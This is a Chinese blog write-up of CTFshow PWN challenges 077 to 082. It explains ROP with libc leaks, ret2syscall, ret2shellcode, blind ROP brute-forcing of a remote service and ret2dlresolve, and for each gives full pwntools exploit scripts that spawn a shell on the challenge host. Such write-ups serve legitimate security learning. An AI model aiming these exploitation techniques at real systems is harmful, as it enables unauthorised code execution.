首页/文章/CTF PWN

CTFshow PWN 077-082

WP

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

077

题目描述

Ez ROP or Mid ROP ?

alt text

alt text

c
feof(stdin)

这个是在判断标准输入是否已经到达结尾,如果 EOF 返回 1 ,如果未 EOF 返回 0

c
int fgetc(FILE *stream);

其返回值是 int ,而非 char ,原因是 EOF 的特殊值是 -1 ,无法用 char 表示
这里的漏洞点在于其用 char 接收整型返回类型,会丢失 EOF 信息,同时未检查 v2 长度,造成越界溢出

python
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')rop = ROP(elf)p = remote('pwn.challenge.ctf.show',28273)puts_got = elf.got['puts']puts_plt = elf.plt['puts']puts_offset = 0x080970main = elf.symbols['main']system_offset = 0x04f420bin_sh_offset = 0x1b3d88p.recvuntil('T^T\n')pop_rdi = rop.find_gadget(['pop rdi', 'ret']).addressret_addr = rop.find_gadget(['ret']).addressoffset = 0x10cp.sendline(b'a' * offset + p32(0x10d) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main))leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))log.info(f'Leaked puts address: {hex(leaked_puts)}')libc_base = leaked_puts - puts_offsetsystem_addr = libc_base + system_offsetbin_sh_addr = libc_base + bin_sh_offsetlog.info(f'Libc base address: {hex(libc_base)}')log.info(f'system address: {hex(system_addr)}')log.info(f'/bin/sh address: {hex(bin_sh_addr)}')p.recvuntil('T^T\n')p.sendline(b'a' * offset + p32(0x10d) + p64(0) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr))p.interactive()

alt text

注意几个关键点,我们覆盖的时候需要保证计数器设置正确,否则我们的 payload 不会覆盖到我们想要的地址上面

078

题目描述

补发:64位ret2syscall

也是用上一把梭了

python
#! /usr/bin/env python3from pwn import *from struct import packr = remote('pwn.challenge.ctf.show', 28134)r.recvuntil('where is my system_x64?\n')offset = 0x50 + 8p = b'a' * offsetp += pack('<Q', 0x00000000004017d7) # pop rsi ; retp += pack('<Q', 0x00000000006c0060) # @ .datap += pack('<Q', 0x000000000046b9f8) # pop rax ; retp += b'/bin//sh'p += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x00000000004017d7) # pop rsi ; retp += pack('<Q', 0x00000000006c0068) # @ .data + 8p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; retp += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x00000000004016c3) # pop rdi ; retp += pack('<Q', 0x00000000006c0060) # @ .datap += pack('<Q', 0x00000000004017d7) # pop rsi ; retp += pack('<Q', 0x00000000006c0068) # @ .data + 8p += pack('<Q', 0x00000000004377d5) # pop rdx ; retp += pack('<Q', 0x00000000006c0068) # @ .data + 8p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x0000000000400488) # syscallr.sendline(p)r.interactive()

079

题目描述

你需要注意某些函数,这是解题的关键!

alt text

发现 NX 没开,那考虑 ret2shellcode
alt text

alt text

溢出点在 ctfshow 处
既然可以 ret2shell 之前我们的ret2shell 题型一般都是跳转到我们放置 shell 的空间,或者直接 lea rax ,... 然后 call rax
alt text

我们可以看见 main 函数是把输入的地址放到 eax 保存,没有 call eax 指令,那我们想办法在此放置 shell 并通过 strcpy 造成的溢出跳转到 call eax 或者 jmp eax 的地址

python
#! /usr/bin/env python3from pwn import *context(arch = 'i386', os = 'linux')elf = ELF('./pwn')rop = ROP(elf)call_eax = 0x080484a0p = remote('pwn.challenge.ctf.show',28253)p.recvuntil('Enter your input: ')shellcode = asm(shellcraft.sh())offset = 0x208 + 4payload = shellcode.ljust(offset, b'a') + p32(call_eax)p.send(payload)p.interactive()             

alt text

080 BROP

题目描述

盲打 blind rop (不是忘记放附件,是本身就没附件!!!)

有点小激动,第一次正儿八经做盲 pwn
BROP 第一步判断是否含有栈溢出

alt text

alt text

可以看见溢出崩溃了。那么我们接下来暴力枚举溢出长度

python
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28243)def bufLength():    i = 1    while True:        try:            p = remote('pwn.challenge.ctf.show', 28243)            p.recvuntil('Welcome to CTFshow-PWN ! Do you know who is daniu?\n')            p.send(i*b'a')            data = p.recv()            p.close()            if data.startswith(b'No passwd'):                i += 1            else:                return i-1        except EOFError:            p.close()            return i-1        offset = bufLength()log.info(f'Buffer length: {offset}')

alt text

可以看见溢出长度是 72,那接下来我们需要寻找 stop_gadget

什么是 stop_gadget?

从盲打角度来说,我们溢出后返回错误地址崩溃和溢出后返回正确地址紧接着跳转错误地址崩溃从结果上看都是崩溃,我们无法确定程序是因为哪个地址错误而崩溃,所以我们先需要一个 gadget ,当我们进入这个 gadget,程序不会崩溃,他不一定是 ret ,只要它能让程序与我们建立稳定的连接即可。这样子等我们验证其他 useful_gadget 是否有效时就可以通过 stop_gadget 验证。
举个例子,我们原来这样填充

text
paddingstop_gadget

程序存活

text
paddinguseful_gadgetstop_gadget

如果程序存活,即 useful_gadget 有效,如果崩溃则 useful_gadget 无效

如何去寻找? stop_gadget

常见的 64 位非 PIE 程序地址

text
0x400000  ELF 映射起始0x401000  .text 代码段附近0x402000  .rodata 附近0x404000  .got / .bss 附近

一些代码段,函数入口 PLT 和可返回片段一般都在 0x400000 ~ 0x500000 故我们从 0x400000 开始扫

python
def stopGadget():    start_addr = 0x400000    while True:        log.info(f'Trying address: {hex(start_addr)}')        try:            p = remote(HOST, PORT)            p.recvuntil('Welcome to CTFshow-PWN ! Do you know who is daniu?\n')            p.send(b'a' * BUFLEN + p64(start_addr))            output = p.recv()            p.close()            if output.startswith(b'Welcome to CTFshow-PWN'):                log.info(f'Address {hex(start_addr)} is a stop gadget.')                return start_addr            else:                start_addr += 1        except EOFError:            start_addr += 1            p.close()stop_gadget = stopGadget()            log.success(f'Stop gadget found at: {hex(stop_gadget)}')

alt text

寻找 useful gadget

一般在这些地址附近存在稳定连续的 gadget 一般是 csu 里面的, 所以我们找一个gadget,这个 gadget 可以稳定的吃掉后面 6 个参数,注意,当我们找到这个gadget,如果没崩这并不意味就是找到了真正的 usefulgadget,有可能只是进入了 start 或者其他 stop_gadget ,这时我们需要再删除后面的 stop_gadget ,如果崩了,说明刚才的 ret 依赖于stopgadget,并吃掉了 6 个参数,如果没有,说明这不是我们想找的 useful_gadget

python
def usefulgadget(BUFLEN, Stop_addr):    addr = Stop_gadget    while True:        sleep(0.1)        addr += 1        payload = b"A" * BUFLEN        payload += p64(addr)        payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)        payload += p64(Stop_addr)        p = None        try:            p = remote(HOST, PORT, timeout=5)            p.recvuntil(BANNER_END, timeout=5)            p.sendline(payload)            data = p.recvrepeat(1.2)        except EOFError:            data = b''        except Exception as e:            log.warning(f"try {hex(addr)} failed: {e}")            sleep(0.5)            continue        finally:            if p is not None:                p.close()        if PROMPT not in data or CRASH in data:            log.info("bad: %s %r" % (hex(addr), data[:60] if data else data))            continue        log.info("candidate address: %s" % hex(addr))        check = b"A" * BUFLEN        check += p64(addr)        check += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)        p = None        try:            p = remote(HOST, PORT, timeout=5)            p.recvuntil(BANNER_END, timeout=5)            p.sendline(check)            data = p.recvrepeat(1.2)        except EOFError:            data = b''        except Exception as e:            log.warning(f"check {hex(addr)} failed: {e}")            sleep(0.5)            continue        finally:            if p is not None:                p.close()        if PROMPT in data and CRASH not in data:            log.info("stop-like bad address: %s" % hex(addr))            continue        log.info("find usefulgadget address: %s" % hex(addr))        return addruseful_gadget = usefulgadget(BUFLEN, Stop_gadget)log.success(f'Useful gadget found at: {hex(useful_gadget)}')

alt text

那么我们可以确定 pop rdi 的地址了,原 csu 是

text
+0  pop rbx+1  pop rbp+2  pop r12+4  pop r13+6  pop r14+8  pop r15        机器码 41 5f+10 ret

我们从 +9 位置切入,就是

text
+9  pop rdi        从 5f 开始错位解释

有了 pop rdi ,我们就可以找 puts_plt 的地址

python
def getPutsplt(BUFLEN, useful_gadget, Stop_gadget):    addr = Stop_gadget    while True:        sleep(0.1)        addr += 1        payload = b"A" * BUFLEN        payload += p64(pop_rdi)        payload += p64(0x400000)        payload += p64(addr)        try:            p = remote(HOST, PORT)            p.recvuntil(BANNER_END)            p.sendline(payload)            if p.recv().startswith(b"\x7fELF"):                log.info(f'Address {hex(addr)} is puts plt.')                p.close()                return addr            log.info(f'Address {hex(addr)} is not puts plt.')            p.close()        except EOFError as e:            log.info(f'Address {hex(addr)} is not puts plt.')        except:            addr -= 1puts_plt = getPutsplt(BUFLEN, useful_gadget, Stop_gadget)log.success(f'puts plt found at: {hex(puts_plt)}')

alt text

之后我们找到 puts_got

python
def Dumpmem(BUFLEN, useful_gadget, Stop_gadget, puts_plt, end_addr, start_addr):    addr = Stop_gadget    result = b""    while start_addr < end_addr:        sleep(0.1)        payload = b"A" * BUFLEN        payload += p64(pop_rdi)        payload += p64(start_addr)        payload += p64(puts_plt)        payload += p64(Stop_gadget)        p = None        try:            p = remote(HOST, PORT, timeout=5)            p.recvuntil(BANNER_END, timeout=5)            p.sendline(payload)            data = p.recvrepeat(1)            if PROMPT in data:                data = data.split(PROMPT)[0]            if data == b"\n":                data = b"\x00"            elif data.endswith(b"\n"):                data = data[:-1]            if data == b"":                log.warning("empty leak: 0x%x" % start_addr)                start_addr += 1                p.close()                continue            log.info("leaking: 0x%x --> %s" % (start_addr, data.hex()))            result += data            start_addr += len(data)            p.close()        except Exception as e:            log.warning("0x%x error: %s" % (start_addr, e))            if p is not None:                p.close()            start_addr += 1    return resultdump = Dumpmem(BUFLEN, useful_gadget, Stop_gadget, puts_plt, end_addr, start_addr)print(dump)## 我们从 end_addr = 0x603000start_addr = 0x601000## 去找

我们知道 puts_plt 后可以去其附近找,会出现

asm
400550: ff 25 c2 1a 20 00    jmp QWORD PTR [rip+0x201ac2]  # 602018400556: 68 00 00 00 00       push 0x040055b: e9 e0 ff ff ff       jmp 400540
python
#! /usr/bin/env python3from pwn import *from LibcSearcher import LibcSearcherHOST = 'pwn.challenge.ctf.show'PORT = 28295BUFLEN = 72Stop_gadget = 0x400728BANNER_END = b'Do you know who is daniu?\n'PROMPT = b'Welcome to CTFshow-PWN ! Do you know who is daniu?\n'CRASH = b'dumped core'useful_gadget = 0x40083apop_rdi = useful_gadget + 9puts_plt = 0x400550end_addr = 0x603000start_addr = 0x602000puts_got = 0x602018'''def bufLength():    i = 1    while True:        try:            p = remote(HOST, PORT)            p.recvuntil('Welcome to CTFshow-PWN ! Do you know who is daniu?\n')            p.send(i*b'a')            data = p.recv()            p.close()            if data.startswith(b'No passwd'):                i += 1            else:                return i-1        except EOFError:            p.close()            return i-1        offset = bufLength()log.info(f'Buffer length: {offset}')def stopGadget():    start_addr = 0x400721    while True:        log.info(f'Trying address: {hex(start_addr)}')        try:            p = remote(HOST, PORT)            p.recvuntil('Welcome to CTFshow-PWN ! Do you know who is daniu?\n')            p.send(b'a' * BUFLEN + p64(start_addr))            output = p.recv()            p.close()            if output.startswith(b'Welcome to CTFshow-PWN'):                log.info(f'Address {hex(start_addr)} is a stop gadget.')                return start_addr            else:                start_addr += 1        except EOFError:            start_addr += 1            p.close()stop_gadget = stopGadget()            log.success(f'Stop gadget found at: {hex(stop_gadget)}')def usefulgadget(BUFLEN, Stop_addr):    addr = Stop_gadget    while True:        sleep(0.1)        addr += 1        payload = b"A" * BUFLEN        payload += p64(addr)        payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)        payload += p64(Stop_addr)        p = None        try:            p = remote(HOST, PORT, timeout=5)            p.recvuntil(BANNER_END, timeout=5)            p.sendline(payload)            data = p.recvrepeat(1.2)        except EOFError:            data = b''        except Exception as e:            log.warning(f"try {hex(addr)} failed: {e}")            sleep(0.5)            continue        finally:            if p is not None:                p.close()        if PROMPT not in data or CRASH in data:            log.info("bad: %s %r" % (hex(addr), data[:60] if data else data))            continue        log.info("candidate address: %s" % hex(addr))        check = b"A" * BUFLEN        check += p64(addr)        check += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)        p = None        try:            p = remote(HOST, PORT, timeout=5)            p.recvuntil(BANNER_END, timeout=5)            p.sendline(check)            data = p.recvrepeat(1.2)        except EOFError:            data = b''        except Exception as e:            log.warning(f"check {hex(addr)} failed: {e}")            sleep(0.5)            continue        finally:            if p is not None:                p.close()        if PROMPT in data and CRASH not in data:            log.info("stop-like bad address: %s" % hex(addr))            continue        log.info("find usefulgadget address: %s" % hex(addr))        return addruseful_gadget = usefulgadget(BUFLEN, Stop_gadget)log.success(f'Useful gadget found at: {hex(useful_gadget)}')def getPutsplt(BUFLEN, useful_gadget, Stop_gadget):    addr = Stop_gadget    while True:        sleep(0.1)        addr += 1        payload = b"A" * BUFLEN        payload += p64(pop_rdi)        payload += p64(0x400000)        payload += p64(addr)        try:            p = remote(HOST, PORT)            p.recvuntil(BANNER_END)            p.sendline(payload)            if p.recv().startswith(b"\x7fELF"):                log.info(f'Address {hex(addr)} is puts plt.')                p.close()                return addr            log.info(f'Address {hex(addr)} is not puts plt.')            p.close()        except EOFError as e:            log.info(f'Address {hex(addr)} is not puts plt.')        except:            addr -= 1puts_plt = getPutsplt(BUFLEN, useful_gadget, Stop_gadget)log.success(f'puts plt found at: {hex(puts_plt)}')    def Dumpmem(BUFLEN, useful_gadget, Stop_gadget, puts_plt, end_addr, start_addr):    addr = Stop_gadget    result = b""    while start_addr < end_addr:        sleep(0.1)        payload = b"A" * BUFLEN        payload += p64(pop_rdi)        payload += p64(start_addr)        payload += p64(puts_plt)        payload += p64(Stop_gadget)        p = None        try:            p = remote(HOST, PORT, timeout=5)            p.recvuntil(BANNER_END, timeout=5)            p.sendline(payload)            data = p.recvrepeat(1)            if PROMPT in data:                data = data.split(PROMPT)[0]            if data == b"\n":                data = b"\x00"            elif data.endswith(b"\n"):                data = data[:-1]            if data == b"":                log.warning("empty leak: 0x%x" % start_addr)                start_addr += 1                p.close()                continue            log.info("leaking: 0x%x --> %s" % (start_addr, data.hex()))            result += data            start_addr += len(data)            p.close()        except Exception as e:            log.warning("0x%x error: %s" % (start_addr, e))            if p is not None:                p.close()            start_addr += 1    return resultdump = Dumpmem(BUFLEN, useful_gadget, Stop_gadget, puts_plt, end_addr, start_addr)print(dump)'''  # puts_addr = u64(bytes.fromhex("c0d91c7a757f").ljust(8, b"\x00"))#print(hex(puts_addr))p = remote(HOST, PORT)p.recvuntil(BANNER_END)payload = b'a' * BUFLENpayload += p64(pop_rdi)payload += p64(puts_got)payload += p64(puts_plt)payload += p64(Stop_gadget)p.sendline(payload)puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))log.info(f'Leaked puts address: {hex(puts_addr)}')p.recvuntil(BANNER_END)libc = LibcSearcher()libc.db = 'libc6_2.27-3ubuntu1_amd64.symbols'libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')bin_sh_addr = libc_base + libc.dump('str_bin_sh')log.info(f'Libc base address: {hex(libc_base)}')log.info(f'system address: {hex(system_addr)}')log.info(f'/bin/sh address: {hex(bin_sh_addr)}')payload = b'a' * BUFLENpayload += p64(pop_rdi)payload += p64(bin_sh_addr)payload += p64(system_addr)p.sendline(payload)p.interactive()

最后 puts_plt 改了,原来的 puts_plt 大概率不是 puts_plt 位置,可能只是一个能调用 puts 的地方 ,导致一直拿不到 shell

081

题目描述

ROP变种

alt text

alt text

这道题开了 PIE ,所以要么泄露 PIE 基址,要么直接走 libc ,但是题目直接给了 system 真实地址,所有的 gadget 用 libc 表示就行

python
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')elf = ELF('./pwn')libc = ELF('./libc.so.6')p = remote('pwn.challenge.ctf.show', 28239)p.recvuntil(b'Maybe it\'s simple,O.o\n')system_addr = int(p.recvline().strip(), 16)log.info(f'Leaked system address: {hex(system_addr)}')libc_base = system_addr - libc.sym['system']bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))pop_rdi = libc_base + next(libc.search(asm('pop rdi; ret')))ret_addr = libc_base + next(libc.search(asm('ret')))log.info(f'Libc base address: {hex(libc_base)}')log.info(f'/bin/sh address: {hex(bin_sh_addr)}')offset = 0x80 + 8payload = b'a' * offsetpayload += p64(ret_addr)payload += p64(pop_rdi)payload += p64(bin_sh_addr)payload += p64(system_addr)p.sendline(payload)p.interactive()

082

题目描述

高级ROP 32 位 NO-RELRO

alt text

从题目描述看大概是 ret2dlresolve 了

ret2dlresolve

ret2dlresolve 利用的是懒绑定机制,程序正常调用某个函数的过程,例如 puts_plt

text
puts@plt    -> plt[0]    -> _dl_runtime_resolve(link_map, reloc_arg)    -> 动态链接器根据 .rela.plt / .dynsym / .dynstr 找到 "puts"    -> 解析 libc 里的 puts 地址    -> 写回 GOT    -> 跳过去执行 puts
text
.rela.plt.dynsym.dynstr

这三个都是动态链接要用到的表
.dynstr 动态字符串表,就是一堆以 \x00 结尾的字符串

text
  libc.so.6\x00  puts\x00  read\x00  printf\x00  system\x00

就差不多像这样。
.dynsym 动态符号表,这是一个数组,每一项是一个 Elf64_Sym 结构,描述一个动态符号,比如 puts、read、printf。

c
 typedef struct {      Elf64_Word st_name;   // 符号名在 .dynstr 里的偏移      unsigned char st_info;  // 类型和绑定信息,比如 GLOBAL + FUNC      unsigned char st_other;      Elf64_Section st_shndx;      Elf64_Addr st_value;      Elf64_Xword st_size;  } Elf64_Sym;

差不多像这样,比如 .dynsym[2] 是 puts ,他不会直接去写 puts,而是根据偏移去 .dynsym 找字符串,最终找到 puts
.rela.plt 每一项有三个字段

c
typedef struct {      Elf64_Addr r_offset;      Elf64_Xword r_info;      Elf64_Sxword r_addend;  } Elf64_Rela;

关键的是前两个,第一个是这个要解析到这个函数的 got 表的位置,第二个有两个信息
r_info 高 32 位放的是 .dynsym 里的符号下标,低 32 位是重定位类型
举例: r_info = (sym_index << 32) | 7 7 就是 R_X86_64_JUMP_SLOT , 即 PLT/GOT 这种函数跳转用的重定位
所以流程大致是

text
PLT push reloc_index          |          v  .rela.plt[reloc_index]          |          | r_info 高 32 位          v  .dynsym[sym_index]          |          | st_name          v  .dynstr + st_name          |          v  "puts\x00"          |          v  动态链接器在 libc 找 puts          |          v  写回 r_offset,也就是 puts@got

如何去利用?

我们所要做的,是去伪造,正常情况下

asm
puts@plt:      jmp [puts@got]      push 0      jmp plt0

会算 rela = JMPREL + index * 0x18; 那么结果也就是 rela.plt[0],但是因为程序中没有 system ,所以正常情况下 rela.plt里面是没有的,所以我们需要在一个可写的地方如 .bss 放置我们伪造的 system ,比如

text
比如:  .rela.plt 起始地址 JMPREL = 0x400500  fake_rela 放在地址       = 0x601800

我们希望 rela == fake_rela_addr,所以反过来 index = (fake_rela_addr - JMPREL) // 0x18
index = (0x601800 - 0x400500) // 0x18

本题

alt text

alt text

alt text

alt text

alt text

第一个是手搓的 payload

python
#!/usr/bin/env python3from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = process('./pwn')def align_by(addr, base, size):    return addr + ((size - ((addr - base) % size)) % size)'''remainder = (addr - dynsym) % 0x10if remainder == 0:    padding = 0else:    padding = 0x10 - remainderaligned_addr = addr + padding'''offset = 0x70read_plt = elf.plt['read']plt0 = elf.get_section_by_name('.plt').header.sh_addrrelplt = elf.dynamic_value_by_tag('DT_JMPREL')dynsym = elf.dynamic_value_by_tag('DT_SYMTAB')dynstr = elf.dynamic_value_by_tag('DT_STRTAB')# add esp, 8; pop ebx; retread_ret = 0x0804834adata_addr = 0x08049900sym_size = 0x10rel_size = 0x08r_386_jump_slot = 0x07system_str_addr = data_addrfake_sym_addr = align_by(system_str_addr + len(b'system\x00'), dynsym, sym_size)fake_rel_addr = fake_sym_addr + sym_sizebinsh_addr = fake_rel_addr + rel_sizest_name = system_str_addr - dynstrsym_index = (fake_sym_addr - dynsym) // sym_sizer_info = (sym_index << 8) | r_386_jump_slotreloc_arg = fake_rel_addr - relpltassert (fake_sym_addr - dynsym) % sym_size == 0# Elf32_Sym:#   st_name, st_value, st_size, st_info, st_other, st_shndxfake_sym = flat(    p32(st_name),    p32(0),    p32(0),    p8(0x12),  # STB_GLOBAL | STT_FUNC 即全局函数符号    p8(0),    p16(0),)# Elf32_Rel:#   r_offset, r_infofake_rel = flat(    p32(data_addr),    p32(r_info),)dlresolve_payload = b'system\x00'dlresolve_payload = dlresolve_payload.ljust(fake_sym_addr - data_addr, b'a')dlresolve_payload += fake_symdlresolve_payload += fake_reldlresolve_payload += b'/bin/sh\x00'stage1 = b'a' * offsetstage1 += p32(read_plt)stage1 += p32(read_ret)stage1 += p32(0)stage1 += p32(data_addr)stage1 += p32(len(dlresolve_payload))stage1 += p32(plt0)stage1 += p32(reloc_arg)stage1 += p32(0)stage1 += p32(binsh_addr)log.info('plt0            = %#x', plt0)log.info('read@plt        = %#x', read_plt)log.info('.rel.plt        = %#x', relplt)log.info('.dynsym         = %#x', dynsym)log.info('.dynstr         = %#x', dynstr)log.info('system string   = %#x', system_str_addr)log.info('fake Elf32_Sym  = %#x', fake_sym_addr)log.info('fake Elf32_Rel  = %#x', fake_rel_addr)log.info('/bin/sh         = %#x', binsh_addr)log.info('sym_index       = %#x', sym_index)log.info('r_info          = %#x', r_info)log.info('reloc_arg       = %#x', reloc_arg)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.send(stage1)sleep(0.1)p.sendline(dlresolve_payload)p.interactive()

第二个是用的 pwntools 的工具

python
#! /usr/bin/env python3 from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = process('./pwn')offset = 0x70data_addr = 0x8049900dlresolve = Ret2dlresolvePayload(      elf,      symbol='system',      args=['/bin/sh'],      data_addr=data_addr)rop = ROP(elf)rop.read(0, data_addr, len(dlresolve.payload))rop.ret2dlresolve(dlresolve)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.sendline(flat({    offset: rop.chain()}))p.sendline(dlresolve.payload)p.interactive()

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...